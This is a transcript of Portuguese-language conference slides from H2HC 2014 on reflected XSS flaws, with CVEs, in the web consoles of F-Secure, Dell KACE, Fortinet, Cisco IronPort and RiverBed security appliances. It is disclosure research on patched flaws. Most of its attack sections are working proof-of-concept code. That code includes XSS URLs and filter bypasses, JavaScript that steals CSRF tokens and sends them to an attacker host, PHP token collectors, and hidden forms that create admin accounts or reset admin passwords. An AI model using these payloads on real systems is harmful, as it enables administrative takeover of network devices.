Hacking em consoles webs de security appliances, h2hc-rev-2

68
Hacking em Consoles WEBs de Security Appliances By William Costa

description

Slides apresentados no H2HC 2014

Transcript of Hacking em consoles webs de security appliances, h2hc-rev-2

Page 1: Hacking em consoles webs de security appliances, h2hc-rev-2

Hacking  em  Consoles  WEBs  de  Security  Appliances  

 By    

William  Costa  

Page 2: Hacking em consoles webs de security appliances, h2hc-rev-2

               

Sim,  eu  sou  CISSP  L  Sem    

William  Costa  Consultor  em  Segurança  da  Informação.  

C|EH,  E|CSA,  CPT,  CEPT,  LPI,  CISSP  

Page 3: Hacking em consoles webs de security appliances, h2hc-rev-2

Topologia  atual  das  redes.

WAF  Security  Gateways  

Firewall   SandBox  

Web  FIlter  

DB  Security  

Page 4: Hacking em consoles webs de security appliances, h2hc-rev-2

Quanto  mais  melhor  ?

Page 5: Hacking em consoles webs de security appliances, h2hc-rev-2

Temos  soluções  de  Segurança  com  XSS  ou  seus  Variantes? •  Essa  foi  uma  das  perguntas  que  me  fiz,  acreditava  que  não...  

•  Inicio  da  Pesquisa:  30/10/2013  

Page 6: Hacking em consoles webs de security appliances, h2hc-rev-2

Por  que  XSS  ?

   

As  consoles  WEBs  (GUI)  estão  em  praVcamente  todos  os  produtos  de  segurança  do  mercado  atual.    Poderia  listar  vários  outros  moVvos,  porém  o  mais  verdadeiro  é  que  não  sei  programar  nada  além  de  shell  (se  é  que  posso  chamar  de  programar),  para  tentar  Buffer  Overflows  L.    

   

Page 7: Hacking em consoles webs de security appliances, h2hc-rev-2

O  XSS  aparece  no  top  10  do  OWASP  desde  seu  primeiro  relatório.    

OWASP  Top  10  –  2003    Top            VulnerabiliVes  in  Web  ApplicaVons    A1  Unvalidated  Parameters  A2  Broken  Access  Control  A3  Broken  Account  and  Session  Management  A4  Cross-­‐Site  Scrip7ng  (XSS)  Flaws  A5  Buffer  Overflows  A6  Command  InjecVon  Flaws  A7  Error  Handling  Problems  A8  Insecure  Use  of  Cryptography  A9  Remote  AdministraVon  Flaws  A10    Web  and  ApplicaVon  Server  MisconfiguraVon  

Page 8: Hacking em consoles webs de security appliances, h2hc-rev-2

E  após  10  Anos  ele  conLnua  entre  os  10

•  OWASP  Top  10  –  2013  (New)      •  A1  –  InjecVon      •  A2  –  Broken  AuthenVcaVon  and  Session  Management      •  A3  –  Cross-­‐Site  Scrip7ng  (XSS)      •  A4  –  Insecure  Direct  Object  References      •  A5  –  Security  MisconfiguraVon      •  A6  –  SensiVve  Data  Exposure      •  A7  –  Missing  FuncVon  Level  Access  Control      •  A8  –  Cross-­‐Site  Request  Forgery  (CSRF)      •  A9  –  Using  Known  Vulnerable  Components      •  A10  –  Unvalidated  Redirects  and  Forwards      

   

Page 9: Hacking em consoles webs de security appliances, h2hc-rev-2

Vamos  deixar  as  coisas  mais  interessantes.  

Os  pré-­‐requisitos  estabelecidos  foram:  •  Não  usar  ferramentas  para  automaVzar  essa  tarefa.  •  Qualquer  produto  de  segurança  que  eu  Vvesse  acesso.    •  Tem  que  gerar  um  CVE  para  ser  adicionado  a  “pesquisa”.  

E  o  Principal  :  •  Algumas  dão  Acesso  administraVvo  ao  Appliance  .    

Page 10: Hacking em consoles webs de security appliances, h2hc-rev-2

Chega  de  teoria  e  vamos  a  Diversão.  

Page 11: Hacking em consoles webs de security appliances, h2hc-rev-2

##########################################  #  Todas  as  Vulnerabilidades  apresentadas,  já  foram  #  #        Corrigidas  pelos  seus  respecLvos  Fabricantes          #  ##########################################

Page 12: Hacking em consoles webs de security appliances, h2hc-rev-2

F-­‐Secure,  Bem  que  tentaram  J.  (CVE-­‐2014-­‐2844)  

Alvo  :  •  F-­‐Secure  Messaging  Security  Gateway  (V7.5.0.892)  Resultado:    Um  Reflected  XSS  no  parâmetro  “new”  na  pagina  de  criação  de  usuários  administraVvos.    

Page 13: Hacking em consoles webs de security appliances, h2hc-rev-2

XSS  no  parâmetro  new.

• hqps://IP_FSecure:10000/admin?module=SysUser&method=user&new=1><script  src=//10.0.1.120/f-­‐secure/e.js    

Page 14: Hacking em consoles webs de security appliances, h2hc-rev-2

Resultado.

Page 15: Hacking em consoles webs de security appliances, h2hc-rev-2

Proteções.   •  É  possível  inserir  o  JS  no  parâmetro  new,  mas,  ocorre  um  filtro  de  um  conjuntos  de  tags,  palavras  ou  caracteres.  

Exemplos:  “<script>”  “</script>”  “document.cookie”  “hqp/s”  •  Também  temos  a  proteção  de  iframe  com  o  envio  do  response  header  X-­‐Frame-­‐Op:ons  que  impede  a  abertura  de  um  Iframe  em  outro  domínio.  

Page 16: Hacking em consoles webs de security appliances, h2hc-rev-2

Bypass.   •  Como  a  nosso  script  é  inserido  no  final  da  tag  input,  então  podemos  enviar  nosso  script  sem  fechar  a  tag  (>)  do  script,  assim  damos  bypass  no  filtro  da  tag.    •  Para  o  Bypass  o  filtro  hKp  e  hKps  vamos  u:lizar  o  protocolo  rela:vo,  suprimindo  assim  o  protocolo  e  deixando  o  browser  u:lizar  o  da  pagina  principal  

 A  url  ficou  assim:    /admin?module=SysUser&method=user&new=1><script  src=//10.0.1.120/f-­‐secure/e.js    •  Para  bypass  X-­‐Frame-­‐Op:ons  foi  criado  um  Iframe  dentro  da  pagina  vulnerável  para  esconder  o  exploit.    

   

Page 17: Hacking em consoles webs de security appliances, h2hc-rev-2

De  onde  saiu  esse  novo  usuário!?  J  

Pré-­‐requisitos:  • Conhecer  o  IP  interno  de  administração  do  Appliance  (ou  se  for  acessível  a  administração  do  IP  externo,  conhece-­‐lo).    • O  Administrador  tem  que  estar  com  login  valido  no  portal  de  administração  (Sessão  estabelecida/aVva),  quando    acessar  o  link  que  controlamos  com  o  código    malicioso.    

Page 18: Hacking em consoles webs de security appliances, h2hc-rev-2

Link  com  o  código  malicioso  . Esse  Iframe  dentro  da  aplicação  vulnerável  é  usado  para  esconder  ação  do  nosso  exploit.    hqps://10.0.1.120/f-­‐secure/a.js    document.write("<iframe  width=0  height=90000  frameborder='0'  src='hKps://10.0.1.120/f-­‐secure/index_poc.php'      >  </iframe>");  document.write("<body  onload='top.scrollTo(0,20000)'>");  

func:on  append(csrf)  {    window.loca:on.replace("hKps://10.0.1.120/f-­‐secure/ganhou.html");  

             }  setTimeout("append(\":meout\")",  6500);  

Page 19: Hacking em consoles webs de security appliances, h2hc-rev-2

Código  do  index_poc.php  e  exploit.js. Index_poc.php:    <html>  <body>  <iframe  frameborder='0'  src='hqps://10.200.210.133:10000/admin?module=SysUser&method=user&new=1><script  src=//10.0.1.120/f-­‐secure/exploit.js'>  </iframe></body>  </html>  

 exploit.js  //Create  tag  input  with  Id  of  user  that  was  break  by  XSS  

 document.write("<input    id='id'  name='id'  value='user.exploit'>");  //Set  values  in  input  with  password  and  role  funcVon  append(csrf)  {  

   document.getElementsByName('user_newpassword_1')[0].value  =  "admin@123";      document.getElementsByName('user_newpassword_2')[0].value  =  "admin@123";      document.getElementsByName('selectedrole')[0].value  =  "root";      document.main_form.submit();    }  

setTimeout("append(\"Vmeout\")",  1000);    

Page 20: Hacking em consoles webs de security appliances, h2hc-rev-2

POC.

Page 21: Hacking em consoles webs de security appliances, h2hc-rev-2

Vez  da  DELL.(CVE-­‐2014-­‐0330)

Alvo  :  • Dell  KACE  K1000  Version:  v5.5.90545.  Resultado:    Um  Reflected  XSS  no  parâmetro  “ID”  na  pagina  de  configuração  de  usuários  administraVvos.    

Page 22: Hacking em consoles webs de security appliances, h2hc-rev-2

XSS  no  parâmetro  ID    .

• hqp://ip_KACE/adminui/user.php?ID=10">]</a><script>alert("XSS");</script>&&PAGE=2    

Page 23: Hacking em consoles webs de security appliances, h2hc-rev-2

Resultado.

Page 24: Hacking em consoles webs de security appliances, h2hc-rev-2

Proteções.   •  Foi  possível  inserir  o  comando  em  JS  no  parâmetro  ID,  porém...    ...Não  achei  nenhuma  validação  neste  campo  L.  Eles  confiam  de  mais  na  proteção    da  flag  HqpOnly  do  cookie  e  no  token    de  proteção  contra  CSRF.      Será  que  devem  ?  

Page 25: Hacking em consoles webs de security appliances, h2hc-rev-2

Bypass.  

• Na  pagina  onde  ocorre  a  falha  de  XSS,  é  possível  alterar  a  senha  do  administrador  atual  sem  o  conhecimento  da  senha  anterior.  J    

 • Não  precisamos  nos  preocuparmos  com  a  Flag  HqpOnly  ou  o  Token  de  proteção  contra  CSRF,  só  precisamos  que  o  nosso  exploit  preencha  o  campo  de  password  e  envie  a  nova  senha.  

GAME  OVER!!!!    

Page 26: Hacking em consoles webs de security appliances, h2hc-rev-2

Alterando  a  Senha  do  Admin  sorrateiramente.    

Pré-­‐requisitos:  

• Os  mesmos  anteriores.  J  

Page 27: Hacking em consoles webs de security appliances, h2hc-rev-2

Use  a  imaginação  para  fazer  ele  acessar  o  seu  link. • hqp://10.0.1.120/kace/xss.php  Code  da  pagina:    <html>  <body>  <h1>  Site  Seguro</h1>  <iframe  src='hKps://pub12-­‐124.env.cloudshare.com/adminui/user.php?ID=10">]</a><script  src="hKps://10.0.1.120/kace/teste.js"></script>'  width="1"  height="1"  frameborder="0"></iframe>  </html>  </body>  

Page 28: Hacking em consoles webs de security appliances, h2hc-rev-2

Conteúdo  do  nosso  teste.js.

•  teste.js  Código  do  JS:    func:on  append(csrf)  {  document.getElementsByName('FARRAY[PASSWORD]')[0].value  =  "123456";  document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value  =  "123456";  document.UserForm.submit();  }  setTimeout("append(\":meout\")",  1000);  

Sim  só  isso!  Fácil  não  ?!  Levei  8  horas  para  fazer  funcionar  L    

Page 29: Hacking em consoles webs de security appliances, h2hc-rev-2

Vídeo  do  POC.

Page 30: Hacking em consoles webs de security appliances, h2hc-rev-2

ForLnet,  ai  vamos  nós.  J  (CVE-­‐2013-­‐7182)  

Alvo:    •  Firewall  ForVnet  • Version  5.0.5  .  Resultado:    Um  Reflected  XSS  no  campo  “mkey  ”  na  pagina  de  configuração  dos  schedules  das  regras.    Tempo  Percorrido  08:30:00    

Page 31: Hacking em consoles webs de security appliances, h2hc-rev-2

XSS  no  parâmetro  mkey      .

• hqp://IP_ForVgate/firewall/schedule/recurrdlg?mkey=a"><script>alert("xss");</script>  

Page 32: Hacking em consoles webs de security appliances, h2hc-rev-2

Resultado.

Page 33: Hacking em consoles webs de security appliances, h2hc-rev-2

Proteções.  

•  Foi  possível  inserir  o  comando  em  JS  no  parâmetro  mkey,  porém,  em  vários  retornos  do  código  em  html  ocorreram  escapes    •  <input  type=hidden  name="mkey"  id="mkey"  value="a&#34;&#62;&#60;script&#62;alert&#40;&#34;XSS&#34;&#41;;&#60;/script&#62;">  • Mas,  em  um  campo  do  form  montado  para  ser  enviado  via  post  não  ocorre  o  tratamento:  

<form  method=post  name=sch_dlg  acVon=/firewall/schedule/recurradd  onsubmit="return  sch_check()"><table><tr><td>Name</td><td><input  type=text  name=name  id=name  size="50"  maxlength="31"  onfocus="this.select()"  value="a"><script>alert("XSS");</script>">  

Page 34: Hacking em consoles webs de security appliances, h2hc-rev-2

Bypass.  

•  Token  CSRF  é  armazenado  em  um  Cookie  sem  a  Flag  HqpOnly  habilitada,  deixando  assim  disponível  um  ataque  de  CSRF  para  quem  Vver  acesso  ao  Cookie  com  o  Token.    

Page 35: Hacking em consoles webs de security appliances, h2hc-rev-2

ConLnua  não  dando  a  mínima  para  os  XSS's?    Criando  um  usuário  como  magica.      Pré-­‐requisitos:  •   A  essa  altura  vocês  já  entenderam      

Page 36: Hacking em consoles webs de security appliances, h2hc-rev-2

Bypass  CSRF  Token .

• O  Token  CSRF  é  inserido  dentro  do  COOKIE  e  o  mesmo  não  tem  a  flag  HqpOnly  habilitada  J  

 

Page 37: Hacking em consoles webs de security appliances, h2hc-rev-2

Encurtador  de  URL  é  nosso  Amigo.  Não  esqueça! • URL  encurtada:  hqp://zip.net/bglvKd  • URL  Original:  hqp://IP_FORTIGATE/firewall/schedule/recurrdlg?mkey=a"><SCRIPT  SRC="hqp://hacksite.com/xss/good.js"></SCRIPT>  

 

Page 38: Hacking em consoles webs de security appliances, h2hc-rev-2

Conteúdo  do  Arquivo  GOOD.JS  .

var  o_cookie  =  document.cookie;  var  o_cookie_array  =  o_cookie.split(";");  var  a_data  =  unescape(o_cookie_array[1]);  var  a_data_array  =  a_data.split  ("="  );  var  token  =  unescape(a_data_array[1]);  

window.loca:on.replace("hKp://hacksite.com/xss/cookie.php?cookie="  +  encodeURIComponent(token));  

Page 39: Hacking em consoles webs de security appliances, h2hc-rev-2

Conteúdo  do  Arquivo  cookie.php  .

<?  $file  =  "cookies.txt";    unlink($file);  if  (isset($_GET["cookie"]))  {$handle  =  fopen($file,  'a');fwrite($handle,  "\r\n"  .  $_GET["cookie"]);fclose($handle);  

}    ?>  <iframe  src="hqp://hacksite.com/xss/index_poc.php"  width="1"  height="1"  frameborder="0"></iframe>  

Page 40: Hacking em consoles webs de security appliances, h2hc-rev-2

Conteúdo  do  Arquivo  index_poc.php  . <html>  <body  onload="CSRF.submit();”>  <html>  <body  onload="CSRF.submit();">  <?php  $lines  =  file  ('cookies.txt');  $dados  =  explode('"',$lines[1]);  $matrizDeDados[]  =  $dados;  foreach  ($matrizDeDados  as  $linhas){  $token  =  $linhas[1];  }  ?>  ….  

Page 41: Hacking em consoles webs de security appliances, h2hc-rev-2

<form  id="CSRF"  acVon="hqp://10.200.210.1/system/config/adminadd"  method="post"  name="CSRF">  <input  name="name"  value="user.exploit">  </input>  <input  name="admin_type"  value="1">  </input>  <input  name="newpasswd1"  value="123456">  </input>  <input  name="newpasswd2"  value="123456">  </input>  <input  name="comment"  value="">  </input>  <input  name="acc_profile"  value="super_admin">  </input>  <input  name="num_4host"  value="0">  </input>  <input  name="num_6host"  value="0">  </input>  <input  name="�a_token_sn"  value="">  </input>  <input  name="ipmask1"  value="0.0.0.0/0.0.0.0">  </input>  …  …  <input  name="guest_grp"  value="">  </input>  <input  name="CSRF_TOKEN"  value="<?php  echo  $token;?>">  </input>  </form>  </body>  </html>  

Page 42: Hacking em consoles webs de security appliances, h2hc-rev-2

Vídeo  do  POC.

Page 43: Hacking em consoles webs de security appliances, h2hc-rev-2

Cisco,  Se  Apronte  que  Hoje  vou  lhe  usar.  (CVE-­‐2014-­‐3289)      

Alvo:    • Cisco  Ironport  Web  Security  Virtual  Appliance  • Version  7.7.5-­‐190  (  UlVma  disponível).  Resultado:    Um  Reflected  XSS  no  campo  “date_range  ”  na  pagina  de  ReporVngs  por  usuários.    Tempo  Percorrido  18:30:00    

Page 44: Hacking em consoles webs de security appliances, h2hc-rev-2

XSS  no  parâmetro  date_range.

• hqps://ip_cisco_web_security/monitor/users?printable=False&date_range=aaaaa"><script>alert(2)</script>  

Page 45: Hacking em consoles webs de security appliances, h2hc-rev-2

Resultado.

Page 46: Hacking em consoles webs de security appliances, h2hc-rev-2

Proteções.  

•  Foi  possível  inserir  o  comando  em  JS  no  parâmetro  date_range,  porém,  em  vários  retornos  do  código  em  html  ocorreram  escapes    •  <span  onclick="SecVonExport('hqps://10.200.210.5:8443/monitor/users?date_range=aaaaa%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E>  • Mas,  em  um  campo  de  input  não  houve  o  tratamento:  <input  type="hidden"  id="current_date_range"  value="aaaaa"><script>alert(2)</script>">  

Page 47: Hacking em consoles webs de security appliances, h2hc-rev-2

Bypass.  

•  Token  CSRF  é  armazenado  em  uma  variável  do  javascript,  mesmo  em  uma  tela  (pagina)  que  não  tem  dados  a  serem  enviados  J,  permiVndo  assim  a  captura  do  Token  para  auxilio  em  um  ataque  de  CSRF.    • Para  alteração  da  senha  do  usuário  de  administração  não  é  necessário  o  conhecimento  da  senha  anterior.    

Page 48: Hacking em consoles webs de security appliances, h2hc-rev-2

Acabando  com  a  sanidade  do  Admin,  alterando  sua  senha.  J      Pré-­‐requisitos:  •   ....    

Page 49: Hacking em consoles webs de security appliances, h2hc-rev-2

O  Token  CSRF  no  código  é  Seguro?.

• Vamos  obter  o  Token  de  proteção  do  CSRF  dentro  do  código  HTML      

Page 50: Hacking em consoles webs de security appliances, h2hc-rev-2

O  bom  e  velho  Encurtador  de  URL.

• URL  encurtada:  hqp://goo.gl/kvonk6  • URL  Original:  hqps://10.200.210.5:8443/monitor/users?printable=False&date_range=aaaaa"><script  src="hqps://10.0.1.120/cisco-­‐ironport/bad.js">  

Page 51: Hacking em consoles webs de security appliances, h2hc-rev-2

Conteúdo  do  Arquivo  BAD.JS  . func:on  append(csrf)  {  //localiza  dentro  de  uma  tag  script  o  token  csrf  e  coloca  na  variável  csrf  csrf  =  document.getElementsByTagName('script').item(20).textContent  //quebra  conteúdo  do  csrf  e  obtém  apenas  o  token  valido  var  o_cookie  =  csrf;  var  o_cookie_array  =  o_cookie.split("=");  var  a_data  =  unescape(o_cookie_array[2]);  var  a_data_array  =  a_data.split  ("&"  );  var  token  =  unescape(a_data_array[0]);    //envia  o  token  a  o  server  window.loca:on.replace("hKps://10.0.1.120/cisco-­‐ironport/cookie.php?cookie="  +  encodeURIComponent(token))  }  //executa  após  2000  para  aguardar  a  finalização  do  carregamento  da  pagina  setTimeout("append(\":meout\")",  2000);  

Page 52: Hacking em consoles webs de security appliances, h2hc-rev-2

Conteúdo  do  Arquivo  cookie.php  . <?  

 //le  o  arquivo  de  teste  a  procura  do  token    $file  =  "cookies.txt";      unlink($file);    if  (isset($_GET["cookie"]))  {$handle  =  fopen($file,  'a');fwrite($handle,  "\r\n"  .    $_GET["cookie"]);fclose($handle);    }  

 ?>  <center><p><h1>Ganhou  seu  XBOX<h1></p></center>  

 <br>    <br>  

<!-­‐-­‐  chama  a  pagina  que  envia  os  dados  ao  alvo.  -­‐-­‐>    <iframe  src="hqps://10.0.1.120/cisco-­‐ironport/index-­‐ironport.php"  width="1"  height="1”  

frameborder="0"></iframe>  <script>  

 funcVon  append(csrf)  {    //cria  um  iframe  após  2  segundos  para  enviar  commit  changes  as  alteracoes      document.write('<iframe  src="hqps://10.0.1.120/cisco-­‐ironport/save-­‐ironport.php"  width="1"    height="1"  frameborder="0"><iframe>')    }    setTimeout("append(\"Vmeout\")",  2000);  

</script>  

Page 53: Hacking em consoles webs de security appliances, h2hc-rev-2

Conteúdo  do  Arquivo  cisco-­‐ironport/index-­‐ironport.php. <?php  //  Le  um  arquivo  em  um  array.  $lines  =  file  ('cookies.txt');  $matrizDeDados[]  =  $lines;  //  recolhe  valores  da  linha  foreach  ($matrizDeDados  as  $linhas){  token  =  $linhas[1];  }  ?>  <form  id="CSRF"  acVon="hqps://10.200.210.5:8443/system_administraVon/access/users"  method="post"  name="CSRF">  <input  name="acVon"  value="AddEdit">  </input>  <input  name="screen"  value="system_administraVon.access.users">  </input>  <input  name="page"  value="set">  </input>  <input  name="isEdit"  value="true">  </input>  <input  name="userName"  value="admin">  </input>  <input  name="fullName"  value="aaaa">  </input>  <input  name="group"  value="admin">  </input>  <input  name="passwd"  value="123456789">  </input>  <input  name="retypePassword"  value="123456789">  </input>  <input  name="CSRFKey"  value="<?php  echo  $token;?>">  </input>  </form>  

Page 54: Hacking em consoles webs de security appliances, h2hc-rev-2

Conteúdo  do  Arquivo  cisco-­‐ironport/save-­‐ironport.php. <?php  //  Le  um  arquivo  em  um  array  $lines  =  file  ('cookies.txt');    //separa  os  dados  da  linha  especifica  //$dados  =  explode('"',$lines[1]);    //aramazena  valores  da  linha  no  array  //$matrizDeDados[]  =  $dados;  $matrizDeDados[]  =  $lines;  //  recolhe  valores  da  linha  foreach  ($matrizDeDados  as  $linhas){    $token  =  $linhas[1];  }  echo  $token;  ?>    <form  id="CSRF"  acVon="hqps://10.200.210.5:8443/commit"  method="post"  name="CSRF">  <input  name="acVon"  value="Commit">  </input>  <input  name="screen"  value="commit">  </input>  <input  name="logout"  value="">  </input>  <input  name="comment"  value="">  </input>  <input  name="CSRFKey"  value="<?php  echo  $token;?>">  </input>  </form>  

Page 55: Hacking em consoles webs de security appliances, h2hc-rev-2

Vídeo  do  POC.

Page 56: Hacking em consoles webs de security appliances, h2hc-rev-2

RiverBed,  Quase  desisL  de  você.    (CVE-­‐2014-­‐5264). Alvo:    • RiverBed  SVngray  Traffic  Manager  Virtual  Appliance  • Version  9.6  .  Resultado:    Um  Reflected  XSS  no  campo  “logfile”  na  pagina  de  download  dos  logs.    Tempo  Percorrido  12:30:00    

Page 57: Hacking em consoles webs de security appliances, h2hc-rev-2

XSS  no  parâmetro  logfile.

• hqps://ip_riverbed/apps/zxtm/locallog.cgi?logfile=aaaa<script>alert(document.cookie);</script>    

Page 58: Hacking em consoles webs de security appliances, h2hc-rev-2

Resultado.

Page 59: Hacking em consoles webs de security appliances, h2hc-rev-2

Proteções.  

•  Em  varias  tentaVvas  de  inserir  um  JS  valido  a  aplicação  sempre  tratava  os  dados.  •  <div  class="box  right  help"  onclick="javascript:helpWindow(  'aaaa\x3cscript\x3ealert\x282\x29\x3c\x2fscript\x3e'  );  return  false;">  • Porém,  no  link  de  download  dos  logs  o  retorno  de  erro  usa  como  variável  o  nome  do  log  que  pode  ser  alterado  pelo  usuário:  

<div  style="padding:  0;  font-­‐weight:  bolder;  font-­‐size:  1em;  font-­‐family:  Courier  New,  Courier,  monospaced,  fixed;"><p>Bad  log  file  aaaa<script>alert(document.cookie);</script></p></div>  

Page 60: Hacking em consoles webs de security appliances, h2hc-rev-2

Bypass.  

• Neste  caso  para  Bypass  da  proteção  contra  CSRF  e  a  Flag  HqpOnly,  são  uVlizados  dois  iframes  o  primeiro  para  injetar  o  código  malicioso  na  variável  vulnerável  e  o  segundo  para  requisitar  a  pagina  de  criação  de  novos  usuários  administradores  e  interagir  com  os  campos  preenchendo-­‐os    • Como  o  primeiro  iframe  e  o  segundo  são  da  mesma  origem  não  somos  barrados  pelo  SOP  J.    

Page 61: Hacking em consoles webs de security appliances, h2hc-rev-2

Novo  admin?!  que  admin  ?  .  J    

 Pré-­‐requisitos:  •   ...    

Page 62: Hacking em consoles webs de security appliances, h2hc-rev-2

XFS  (Cross  Frame  ScripLng)  é  de  Comer  ?  

•  XFS  é  interação  entre  Frames  de  Domínios  diferentes  ocorrendo  por  uma  falha  no  browser  já  que  por  default  isso  não  deveria  ocorrer.  •  Já  que  a  pagina  onde  ocorre  a  vulnerabilidade  não  consta  com  nenhum  dado  que  podemos  explorar.    •  Iremos  criar  um  Iframe  nesta  página  que  o  endereço  de  desVno  é  a  página  de  criação  de  novos  usuários  administradores  do  appliance.    

•  Obs.:  Esse  exploit  não  é  um  XFS  ou  Bypass  de  SOP    já  que  ocorre  no  mesmo  domínio.          

Page 63: Hacking em consoles webs de security appliances, h2hc-rev-2

Iframe  Hidden.

• O  Nosso  exploit  vai  ser  chamado  via  um  iframe  escondido  em  uma  pagina.    

<html>  <body>  <h1>  Bem  vindo  ao  site  seguro</h1>  <iframe  width=0  height=0  frameborder=0    src='hKps://10.200.210.108:9090/apps/zxtm/locallog.cgi?logfile=aaaa"><script  src=hKps://10.0.1.120/riverbed/exploit.js></script>'></iframe>  </body>  </html>    

Page 64: Hacking em consoles webs de security appliances, h2hc-rev-2

Conteúdo  do  Arquivo  exploit.js. document.write('<iframe  width=0  height=0    name="xss"  src="hqps://10.200.210.108:9090/apps/zxtm/index.fcgi?secVon=Access  Management:LocalUsers"></iframe>');  

funcVon  append(csrf)  {  

window.frames['xss'].document.getElementsByName('form_newusername')[0].value  =  "user_exploit";  

window.frames['xss'].document.getElementsByName('form_password1')[0].value  =  "123456";  

window.frames['xss'].document.getElementsByName('form_password2')[0].value  =  "123456";  

window.frames['xss'].document.getElementsByName('form_create_user')[0].click();  

}  

setTimeout("append(\"Vmeout\")",  2500);  

Page 65: Hacking em consoles webs de security appliances, h2hc-rev-2

Vídeo  do  POC.

Page 66: Hacking em consoles webs de security appliances, h2hc-rev-2

Resultados

•  32  Pedidos  de  CVEs  para  vulnerabilidades  em  Consoles  WEB  Em:    •  26  produtos  De:    •  15  Vendors    CVEs  até  o  momento:    •  29  

•  Todas  as  marcas  registradas  e  de  propriedade  de  seus  respecVvos  donos.    

Page 67: Hacking em consoles webs de security appliances, h2hc-rev-2

Conclusão.  

• Nem  sempre  “quanto  mais  melhor”.  

• Não  precisa  de  muito  tempo  e  esforços,  para  encontrar  simples  XSS  em  consoles  WEBs  dos  gateways  de  segurança.  • As  proteções  existem,  porém  são  insuficiente  para  serem  realmente  efeVvas.  

 

Page 68: Hacking em consoles webs de security appliances, h2hc-rev-2

<script>alert(String(/Perguntas?/).substr(1,10)  );  </script>

william.costa  arroba  gmail.com twiwer.com/@willcosta